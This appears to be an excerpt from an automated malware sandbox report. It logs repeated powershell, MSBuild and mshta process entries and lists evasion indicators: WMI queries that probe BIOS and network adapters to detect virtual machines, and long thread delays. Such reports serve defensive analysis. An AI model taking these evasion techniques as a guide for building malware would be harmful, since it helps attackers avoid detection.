Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Windows\System32\PING.EXE	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_BaseBoard

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Windows\System32\PING.EXE	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_NetworkAdapterConfiguration

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 1949
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 7788

Source: C:\Windows\System32\mshta.exe TID: 2732	Thread sleep time: -480000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 852	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2252	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\taskeng.exe TID: 2400	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\mshta.exe TID: 1916	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\mshta.exe TID: 2112	Thread sleep time: -420000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\mshta.exe TID: 2376	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\System32\taskkill.exe TID: 1532	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\taskkill.exe TID: 1532	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3048	Thread sleep time: -360000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2284	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\taskkill.exe TID: 3068	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\taskkill.exe TID: 3068	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2372	Thread sleep time: -420000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1144	Thread sleep time: -420000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2092	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2092	Thread sleep time: -120000s >= -30000s
